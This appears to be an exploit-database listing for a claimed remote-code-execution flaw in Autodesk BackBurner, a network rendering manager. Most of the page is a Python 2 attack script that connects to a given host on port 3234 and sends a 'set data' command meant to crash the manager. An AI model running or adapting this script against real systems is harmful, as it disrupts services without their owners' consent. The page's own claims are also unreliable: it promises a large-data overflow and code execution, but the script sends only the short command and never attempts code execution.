header-logo
Suggest Exploit
vendor:
BackBurner
by:
Anonymous
9,3
CVSS
HIGH
Remote Code Execution
119
CWE
Product Name: BackBurner
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: Yes
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux, Mac, Windows
2020

RCE Autodesk BackBurner

This exploit is for Autodesk BackBurner, a network rendering manager. The vulnerability is a buffer overflow in the 'set data' command. By sending a large amount of data to the 'set data' command, the application will crash, allowing for remote code execution.

Mitigation:

Upgrade to the latest version of Autodesk BackBurner.
Source

Exploit-DB raw data:

import sys
import datetime
import socket
import argparse
import os
import time

remote_host = ''
remote_port = ''

def callExit():
	print "\n\t\t[!] exiting at %s .....\n" % datetime.datetime.now()
	sys.exit(1)

def mySocket():
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	except socket.error:
		print 'Failed to create socket'
		sys.exit()
	
	print "\n\t[+] Socket Created"
	
	s.connect((remote_host, remote_port))
	print "\n\t[+] Socket Connected to %s on port %s" % (remote_host, remote_port)
	
	return s
	
# 250 backburner 1.0 Ready.
def receiveBanner(s):
	banner = s.recv(4096)
	print banner


def receiveData(s):
	data = s.recv(4096)
	print data


def setDataCommand(s):
    receiveData(s)			# backburner>
    print "Set Data Command"
    time.sleep(1)
    command = "set data\r\n"
    try:
        s.sendall(command)
    except socket.error:
        print 'Send failed'
        sys.exit()
    print "BackBurner Manager should have crashed"
    receiveData(s)			# 200 Help
    receiveData(s)			# Available Commands:.....and all set of commands
                            # backburner>


def main():
	if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
		os.system('clear')

	parser = argparse.ArgumentParser(description = 'RCE Autodesk BackBurner')
	parser.add_argument('--host', nargs='?', dest='host', required=True, help='remote IP of Autodesk host')
	parser.add_argument('--port', nargs='?', dest='port', default=3234, help='remote Port running manager.exe')
	
	args = parser.parse_args()
	
	if args.host == None:
		print "\t[!] IP of remote host?"
		sys.exit()
	
	global remote_host
	global remote_port
	
	remote_host = args.host
	remote_port = args.port
	
	print "remote_host: %s" % remote_host
	print "remote_port: %s" % remote_port
	
	s = mySocket()
	receiveBanner(s)
	setDataCommand(s)
	
	print 'exit'
	sys.exit()
	
	
if __name__ == '__main__':
	try: sys.exit(main())
	except KeyboardInterrupt:
		callExit()